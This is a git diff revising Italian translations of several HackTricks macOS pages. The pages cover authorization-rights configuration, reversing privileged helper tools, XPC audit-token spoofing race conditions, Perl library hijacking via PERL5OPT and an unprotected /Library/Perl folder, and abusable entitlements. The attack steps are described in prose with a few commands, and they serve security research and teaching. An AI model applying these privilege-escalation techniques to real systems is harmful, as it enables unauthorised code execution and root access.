<table><thead><tr><th width="284.3333333333333">Nome</th><th width="165">Valore</th><th>Descrizione</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Chiunque</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nessuno</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utente corrente deve essere un amministratore (all'interno del gruppo admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Chiedi all'utente di autenticarsi.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Chiedi all'utente di autenticarsi. Deve essere un amministratore (all'interno del gruppo admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Specifica regole</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Specifica alcuni commenti aggiuntivi sul diritto</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Nome</th><th width="165">Valore</th><th>Descrizione</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Chiunque</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nessuno</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utente corrente deve essere un amministratore (all'interno del gruppo admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Chiedi all'utente di autenticarsi.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Chiedi all'utente di autenticarsi. Deve essere un amministratore (all'interno del gruppo admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Specifica le regole</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Specifica alcuni commenti aggiuntivi sul diritto</td></tr></tbody></table>
|
||||
|
||||
### Verifica dei Diritti
|
||||
|
||||
|
@ -261,14 +261,14 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
Puoi trovare **tutte le configurazioni dei permessi** [**qui**](https://www.dssw.co.uk/reference/authorization-rights/), ma le combinazioni che non richiedono interazione dell'utente sarebbero:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Questa è la chiave più diretta. Se impostata su `false`, specifica che un utente non deve fornire autenticazione per ottenere questo diritto.
|
||||
* Questo è il campo più diretto. Se impostato su `false`, specifica che un utente non deve fornire autenticazione per ottenere questo diritto.
|
||||
* Questo viene utilizzato in **combinazione con uno dei 2 seguenti o indicando un gruppo** a cui l'utente deve appartenere.
|
||||
2. **'allow-root': 'true'**
|
||||
* Se un utente sta operando come utente root (che ha permessi elevati) e questa chiave è impostata su `true`, l'utente root potrebbe potenzialmente ottenere questo diritto senza ulteriore autenticazione. Tuttavia, tipicamente, raggiungere lo stato di utente root richiede già un'autenticazione, quindi non si tratta di uno scenario "senza autenticazione" per la maggior parte degli utenti.
|
||||
* Se un utente sta operando come utente root (che ha permessi elevati) e questo campo è impostato su `true`, l'utente root potrebbe potenzialmente ottenere questo diritto senza ulteriore autenticazione. Tuttavia, tipicamente, raggiungere lo stato di utente root richiede già un'autenticazione, quindi non si tratta di uno scenario "senza autenticazione" per la maggior parte degli utenti.
|
||||
3. **'session-owner': 'true'**
|
||||
* Se impostato su `true`, il proprietario della sessione (l'utente attualmente loggato) otterrebbe automaticamente questo diritto. Ciò potrebbe bypassare ulteriori autenticazioni se l'utente è già loggato.
|
||||
4. **'shared': 'true'**
|
||||
* Questa chiave non concede diritti senza autenticazione. Invece, se impostata su `true`, significa che una volta che il diritto è stato autenticato, può essere condiviso tra più processi senza che ognuno debba ri-autenticarsi. Ma il conferimento iniziale del diritto richiederebbe comunque un'autenticazione a meno che non sia combinato con altre chiavi come `'authenticate-user': 'false'`.
|
||||
* Questo campo non concede diritti senza autenticazione. Invece, se impostato su `true`, significa che una volta che il diritto è stato autenticato, può essere condiviso tra più processi senza che ognuno debba ri-autenticarsi. Tuttavia, il conferimento iniziale del diritto richiederebbe comunque un'autenticazione a meno che non sia combinato con altri campi come `'authenticate-user': 'false'`.
|
||||
|
||||
Puoi [**utilizzare questo script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) per ottenere i diritti interessanti:
|
||||
```bash
|
||||
|
@ -281,13 +281,13 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Reversing Authorization
|
||||
## Reversing dell'Autorizzazione
|
||||
|
||||
### Verifica se viene utilizzato EvenBetterAuthorization
|
||||
|
||||
Se trovi la funzione: **`[HelperTool checkAuthorization:command:]`** probabilmente il processo sta utilizzando lo schema di autorizzazione precedentemente menzionato:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Quindi, se questa funzione chiama funzioni come `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, sta utilizzando [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
|
@ -299,11 +299,11 @@ Successivamente, è necessario trovare lo schema del protocollo per poter stabil
|
|||
|
||||
La funzione **`shouldAcceptNewConnection`** indica il protocollo in fase di esportazione:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In questo caso, abbiamo lo stesso di EvenBetterAuthorizationSample, [**controlla questa riga**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Conoscendo il nome del protocollo utilizzato, è possibile **dumpare la sua definizione dell'intestazione** con:
|
||||
Conoscendo il nome del protocollo utilizzato, è possibile **dumpare la definizione dell'header** con:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -317,9 +317,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Infine, dobbiamo solo conoscere il **nome del Mach Service esposto** per stabilire una comunicazione con esso. Ci sono diversi modi per trovarlo:
|
||||
Infine, abbiamo solo bisogno di conoscere il **nome del Mach Service esposto** per stabilire una comunicazione con esso. Ci sono diversi modi per trovarlo:
|
||||
|
||||
* Nell'**`[HelperTool init()]`** dove è possibile vedere il Mach Service in uso:
|
||||
* Nel **`[HelperTool init]`** dove è possibile vedere il Mach Service in uso:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -431,10 +431,10 @@ NSLog(@"Finished!");
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -25,7 +25,7 @@ Se non sai cosa sono i messaggi Mach, inizia controllando questa pagina:
|
|||
{% endcontent-ref %}
|
||||
|
||||
Per il momento ricorda che ([definizione da qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
I messaggi Mach vengono inviati su una _porta mach_, che è un canale di comunicazione **singolo ricevitore, multiplo mittente** integrato nel kernel mach. **Diversi processi possono inviare messaggi** a una porta mach, ma in un dato momento **solo un processo può leggerne**. Proprio come i descrittori di file e i socket, le porte mach sono allocate e gestite dal kernel e i processi vedono solo un numero intero, che possono utilizzare per indicare al kernel quale delle loro porte mach desiderano utilizzare.
|
||||
I messaggi Mach vengono inviati su una _porta mach_, che è un canale di comunicazione **singolo ricevitore, multiplo mittente** integrato nel kernel mach. **Più processi possono inviare messaggi** a una porta mach, ma in un determinato momento **solo un processo può leggerne**. Proprio come i descrittori di file e le prese, le porte mach sono allocate e gestite dal kernel e i processi vedono solo un numero intero, che possono utilizzare per indicare al kernel quale delle loro porte mach desiderano utilizzare.
|
||||
|
||||
## Connessione XPC
|
||||
|
||||
|
@ -45,16 +45,16 @@ Ciò che è interessante sapere è che **l'astrazione di XPC è una connessione
|
|||
|
||||
Anche se la situazione precedente sembra promettente, ci sono alcuni scenari in cui ciò non causerà problemi ([da qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* I token di audit vengono spesso utilizzati per un controllo di autorizzazione per decidere se accettare una connessione. Poiché ciò avviene utilizzando un messaggio alla porta del servizio, **non è ancora stata stabilita alcuna connessione**. Altri messaggi su questa porta verranno semplicemente gestiti come richieste di connessione aggiuntive. Quindi eventuali **controlli prima di accettare una connessione non sono vulnerabili** (ciò significa anche che all'interno di `-listener:shouldAcceptNewConnection:` il token di audit è sicuro). Stiamo quindi **cercando connessioni XPC che verifichino azioni specifiche**.
|
||||
* I token di audit vengono spesso utilizzati per un controllo di autorizzazione per decidere se accettare una connessione. Poiché ciò avviene utilizzando un messaggio alla porta di servizio, **non è ancora stata stabilita alcuna connessione**. Altri messaggi su questa porta verranno semplicemente gestiti come richieste di connessione aggiuntive. Quindi eventuali **controlli prima di accettare una connessione non sono vulnerabili** (ciò significa anche che all'interno di `-listener:shouldAcceptNewConnection:` il token di audit è sicuro). Stiamo quindi **cercando connessioni XPC che verifichino azioni specifiche**.
|
||||
* Gli handler degli eventi XPC vengono gestiti in modo sincrono. Ciò significa che l'handler dell'evento per un messaggio deve essere completato prima di chiamarlo per il successivo, anche su code di invio concorrenti. Quindi all'interno di un **gestore di eventi XPC il token di audit non può essere sovrascritto** da altri messaggi normali (non di risposta!).
|
||||
|
||||
Due diversi metodi con cui ciò potrebbe essere sfruttabile:
|
||||
|
||||
1. Variante1:
|
||||
1. Variante 1:
|
||||
* **L'exploit si connette** al servizio **A** e al servizio **B**
|
||||
* Il servizio **B** può chiamare una **funzionalità privilegiata** in servizio **A** che l'utente non può
|
||||
* Il servizio **A** chiama **`xpc_connection_get_audit_token`** mentre _**non**_ è all'interno dell'**handler di evento** per una connessione in un **`dispatch_async`**.
|
||||
* Quindi un **messaggio diverso potrebbe sovrascrivere il Token di Audit** perché viene inviato in modo asincrono al di fuori dell'handler di evento.
|
||||
* Quindi un **messaggio diverso** potrebbe **sovrascrivere il Token di Audit** perché viene inviato in modo asincrono al di fuori dell'handler di evento.
|
||||
* L'exploit passa a **servizio B il diritto di invio a servizio A**.
|
||||
* Quindi svc **B** invierà effettivamente i **messaggi** a servizio **A**.
|
||||
* L'**exploit** cerca di **chiamare l'azione privilegiata**. In un RC svc **A** **controlla** l'autorizzazione di questa **azione** mentre **svc B sovrascrive il Token di Audit** (dando all'exploit l'accesso per chiamare l'azione privilegiata).
|
||||
|
@ -64,7 +64,7 @@ Due diversi metodi con cui ciò potrebbe essere sfruttabile:
|
|||
* L'exploit invia al **servizio** B un messaggio passando **quella porta di risposta**.
|
||||
* Quando il servizio **B risponde**, invia il messaggio a servizio **A**, **mentre** l'**exploit** invia un messaggio diverso a servizio **A** cercando di **raggiungere una funzionalità privilegiata** e aspettandosi che la risposta da servizio B sovrascriva il Token di Audit nel momento perfetto (Condizione di Gara).
|
||||
|
||||
## Variante 1: chiamare xpc\_connection\_get\_audit\_token al di fuori di un handler di evento <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
## Variante 1: chiamata a xpc\_connection\_get\_audit\_token al di fuori di un handler di evento <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Scenario:
|
||||
|
||||
|
@ -84,12 +84,12 @@ Pertanto, il servizio **B** è **`diagnosticd`** perché viene eseguito come **r
|
|||
Per eseguire l'attacco:
|
||||
|
||||
1. Inizia una **connessione** al servizio chiamato `smd` utilizzando il protocollo XPC standard.
|
||||
2. Forma una **connessione secondaria** a `diagnosticd`. Contrariamente alla procedura normale, anziché creare e inviare due nuove porte mach, il diritto di invio della porta client viene sostituito con una duplicata del **diritto di invio** associato alla connessione `smd`.
|
||||
3. Di conseguenza, i messaggi XPC possono essere inviati a `diagnosticd`, ma le risposte da `diagnosticd` vengono reindirizzate a `smd`. Per `smd`, sembra che i messaggi sia dall'utente che da `diagnosticd` provengano dalla stessa connessione.
|
||||
2. Forma una secondaria **connessione** a `diagnosticd`. Contrariamente alla procedura normale, anziché creare e inviare due nuove porte mach, il diritto di invio della porta client viene sostituito con una duplicata del **diritto di invio** associato alla connessione `smd`.
|
||||
3. Di conseguenza, i messaggi XPC possono essere inviati a `diagnosticd`, ma le risposte da `diagnosticd` vengono dirottate su `smd`. Per `smd`, sembra che i messaggi sia dall'utente che da `diagnosticd` provengano dalla stessa connessione.
|
||||
|
||||
![Immagine che raffigura il processo di exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. Il passo successivo prevede di istruire `diagnosticd` ad avviare il monitoraggio di un processo scelto (potenzialmente quello dell'utente). Contestualmente, viene inviata una serie di messaggi di routine 1004 a `smd`. L'intento qui è quello di installare uno strumento con privilegi elevati.
|
||||
5. Questa azione attiva una condizione di gara all'interno della funzione `handle_bless`. Il tempismo è critico: la chiamata alla funzione `xpc_connection_get_pid` deve restituire il PID del processo dell'utente (poiché lo strumento privilegiato risiede nel bundle dell'applicazione dell'utente). Tuttavia, la funzione `xpc_connection_get_audit_token`, specificamente all'interno della subroutine `connection_is_authorized`, deve fare riferimento al token di audit appartenente a `diagnosticd`.
|
||||
5. Questa azione attiva una condizione di gara all'interno della funzione `handle_bless`. Il tempismo è cruciale: la chiamata alla funzione `xpc_connection_get_pid` deve restituire il PID del processo dell'utente (poiché lo strumento privilegiato risiede nel bundle dell'applicazione dell'utente). Tuttavia, la funzione `xpc_connection_get_audit_token`, specificamente all'interno della subroutine `connection_is_authorized`, deve fare riferimento al token di audit appartenente a `diagnosticd`.
|
||||
|
||||
## Variante 2: inoltro delle risposte
|
||||
|
||||
|
@ -98,7 +98,7 @@ In un ambiente XPC (Comunicazione tra Processi), sebbene gli handler degli event
|
|||
1. **`xpc_connection_send_message_with_reply`**: Qui, il messaggio XPC viene ricevuto e elaborato su una coda designata.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Al contrario, in questo metodo, il messaggio XPC viene ricevuto e elaborato sulla coda di invio corrente.
|
||||
|
||||
Questa distinzione è cruciale perché permette la possibilità di **analizzare i pacchetti di risposta in modo concorrente con l'esecuzione di un handler di evento XPC**. In particolare, sebbene `_xpc_connection_set_creds` implementi un blocco per proteggere dalla sovrascrittura parziale del token di audit, non estende questa protezione all'intero oggetto di connessione. Di conseguenza, si crea una vulnerabilità in cui il token di audit può essere sostituito durante l'intervallo tra l'analisi di un pacchetto e l'esecuzione del suo handler di evento.
|
||||
Questa distinzione è cruciale perché permette la possibilità di **analizzare i pacchetti di risposta in modo concorrente con l'esecuzione di un handler di evento XPC**. Va notato che, sebbene `_xpc_connection_set_creds` implementi un blocco per proteggere dalla sovrascrittura parziale del token di audit, questa protezione non si estende all'intero oggetto di connessione. Di conseguenza, si crea una vulnerabilità in cui il token di audit può essere sostituito durante l'intervallo tra l'analisi di un pacchetto e l'esecuzione del suo handler di evento.
|
||||
|
||||
Per sfruttare questa vulnerabilità, è necessaria la seguente configurazione:
|
||||
|
||||
|
@ -110,26 +110,26 @@ Per sfruttare questa vulnerabilità, è necessaria la seguente configurazione:
|
|||
Il processo di sfruttamento comporta i seguenti passaggi:
|
||||
|
||||
1. Attendere che il servizio **`A`** invii un messaggio che si aspetta una risposta.
|
||||
2. Invece di rispondere direttamente a **`A`**, la porta di risposta viene dirottata e utilizzata per inviare un messaggio al servizio **`B`**.
|
||||
2. Invece di rispondere direttamente a **`A`**, la porta di risposta viene dirottata e utilizzata per inviare un messaggio a servizio **`B`**.
|
||||
3. Successivamente, viene inviato un messaggio che coinvolge l'azione vietata, con l'aspettativa che venga elaborato contemporaneamente alla risposta da **`B`**.
|
||||
|
||||
Di seguito è riportata una rappresentazione visiva dello scenario di attacco descritto:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemi di Scoperta
|
||||
|
||||
* **Difficoltà nel Localizzare le Istanze**: La ricerca delle istanze di utilizzo di `xpc_connection_get_audit_token` è stata impegnativa, sia staticamente che dinamicamente.
|
||||
* **Metodologia**: Frida è stata utilizzata per agganciare la funzione `xpc_connection_get_audit_token`, filtrando le chiamate non provenienti dagli handler degli eventi. Tuttavia, questo metodo era limitato al processo agganciato e richiedeva un utilizzo attivo.
|
||||
* **Strumenti di Analisi**: Strumenti come IDA/Ghidra sono stati utilizzati per esaminare i servizi mach raggiungibili, ma il processo è stato lungo e complicato dalle chiamate che coinvolgono la cache condivisa dyld.
|
||||
* **Difficoltà nel Localizzare le Istanze**: La ricerca delle istanze di utilizzo di `xpc_connection_get_audit_token` è stata difficile, sia staticamente che dinamicamente.
|
||||
* **Metodologia**: Frida è stata utilizzata per agganciare la funzione `xpc_connection_get_audit_token`, filtrando le chiamate non originate dagli handler degli eventi. Tuttavia, questo metodo era limitato al processo agganciato e richiedeva un utilizzo attivo.
|
||||
* **Strumenti di Analisi**: Strumenti come IDA/Ghidra sono stati utilizzati per esaminare i servizi mach raggiungibili, ma il processo era lungo e complicato dalle chiamate che coinvolgevano la cache condivisa dyld.
|
||||
* **Limitazioni degli Script**: I tentativi di scrivere uno script per l'analisi delle chiamate a `xpc_connection_get_audit_token` dai blocchi `dispatch_async` sono stati ostacolati dalle complessità nel parsing dei blocchi e dalle interazioni con la cache condivisa dyld.
|
||||
|
||||
## La Soluzione <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **Segnalazione dei Problemi**: È stata inviata una segnalazione ad Apple dettagliando i problemi generali e specifici riscontrati all'interno di `smd`.
|
||||
* **Segnalazione dei Problemi**: È stata inviata una segnalazione ad Apple dettagliando i problemi generali e specifici riscontrati in `smd`.
|
||||
* **Risposta di Apple**: Apple ha affrontato il problema in `smd` sostituendo `xpc_connection_get_audit_token` con `xpc_dictionary_get_audit_token`.
|
||||
* **Natura della Soluzione**: La funzione `xpc_dictionary_get_audit_token` è considerata sicura poiché recupera il token di audit direttamente dal messaggio mach legato al messaggio XPC ricevuto. Tuttavia, non fa parte dell'API pubblica, simile a `xpc_connection_get_audit_token`.
|
||||
* **Assenza di una Soluzione Più Ampia**: Non è chiaro perché Apple non abbia implementato una soluzione più completa, come scartare i messaggi che non corrispondono al token di audit salvato della connessione. La possibilità di cambiamenti legittimi del token di audit in determinati scenari (ad esempio, l'uso di `setuid`) potrebbe essere un fattore.
|
||||
* **Assenza di una Soluzione Più Ampia**: Non è chiaro perché Apple non abbia implementato una soluzione più completa, come scartare i messaggi che non si allineano al token di audit salvato della connessione. La possibilità di cambiamenti legittimi del token di audit in determinati scenari (ad esempio, l'uso di `setuid`) potrebbe essere un fattore.
|
||||
* **Stato Attuale**: Il problema persiste in iOS 17 e macOS 14, rappresentando una sfida per coloro che cercano di identificarlo e comprenderlo.
|
||||
|
|
|
@ -17,7 +17,7 @@ Altri modi per supportare HackTricks:
|
|||
## Attraverso le variabili d'ambiente `PERL5OPT` e `PERL5LIB`
|
||||
|
||||
Utilizzando la variabile d'ambiente PERL5OPT è possibile far eseguire a perl comandi arbitrari.\
|
||||
Per esempio, crea questo script:
|
||||
Ad esempio, crea questo script:
|
||||
|
||||
{% code title="test.pl" %}
|
||||
```perl
|
||||
|
@ -67,10 +67,10 @@ Che restituirà qualcosa del genere:
|
|||
Alcune delle cartelle restituite non esistono nemmeno, tuttavia, **`/Library/Perl/5.30`** esiste, non è protetto da SIP ed è posizionato prima delle cartelle protette da SIP. Pertanto, qualcuno potrebbe abusare di quella cartella per aggiungere dipendenze di script in modo che uno script Perl ad alto privilegio le carichi.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tuttavia, nota che **devi essere root per scrivere in quella cartella** e oggigiorno otterrai questo **prompt TCC**:
|
||||
Tuttavia, nota che **è necessario essere root per scrivere in quella cartella** e al giorno d'oggi otterrai questo **prompt TCC**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Ad esempio, se uno script sta importando **`use File::Basename;`** sarebbe possibile creare `/Library/Perl/5.30/File/Basename.pm` per eseguire codice arbitrario.
|
||||
|
||||
|
@ -80,13 +80,13 @@ Ad esempio, se uno script sta importando **`use File::Basename;`** sarebbe possi
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -8,9 +8,9 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -34,15 +34,15 @@ Questo permesso consente di ottenere la **porta del task per qualsiasi** process
|
|||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
Questo permesso consente ad altri processi con il permesso **`com.apple.security.cs.debugger`** di ottenere la porta del task del processo eseguito dal binario con questo permesso e **iniettarvi codice**. Controlla [**questo per ulteriori informazioni**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
Questo permesso consente ad altri processi con il permesso **`com.apple.security.cs.debugger`** di ottenere la porta del task del processo eseguito dal binario con questo permesso e **iniettare codice su di esso**. Controlla [**questo per ulteriori informazioni**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
Le app con il permesso Strumento di Debug possono chiamare `task_for_pid()` per recuperare una porta del task valida per app non firmate e di terze parti con il permesso `Get Task Allow` impostato su `true`. Tuttavia, anche con il permesso dello strumento di debug, un debugger **non può ottenere le porte del task** dei processi che **non hanno il permesso `Get Task Allow`**, e che sono quindi protetti da System Integrity Protection. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
Le app con il Permesso Strumento di Debug possono chiamare `task_for_pid()` per recuperare una porta del task valida per app non firmate e di terze parti con il permesso `Get Task Allow` impostato su `true`. Tuttavia, anche con il permesso dello strumento di debug, un debugger **non può ottenere le porte del task** dei processi che **non hanno il permesso `Get Task Allow`**, e che sono quindi protetti da System Integrity Protection. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
Questo permesso consente di **caricare framework, plug-in o librerie senza essere né firmati da Apple né firmati con lo stesso ID del team** dell'eseguibile principale, quindi un attaccante potrebbe abusare di un caricamento arbitrario di librerie per iniettare codice. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
Questo permesso consente di **caricare framework, plug-in o librerie senza essere né firmati da Apple né firmati con lo stesso ID del Team** dell'eseguibile principale, quindi un attaccante potrebbe abusare di un caricamento arbitrario di librerie per iniettare codice. Controlla [**questo per ulteriori informazioni**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
|
@ -87,7 +87,7 @@ TODO: In [**questo report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA
|
|||
|
||||
### `keychain-access-groups`
|
||||
|
||||
Questa lista di permessi **gruppi di portachiavi** a cui l'applicazione ha accesso:
|
||||
Questa lista di permessi **gruppi keychain** a cui l'applicazione ha accesso:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -114,7 +114,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
```
|
||||
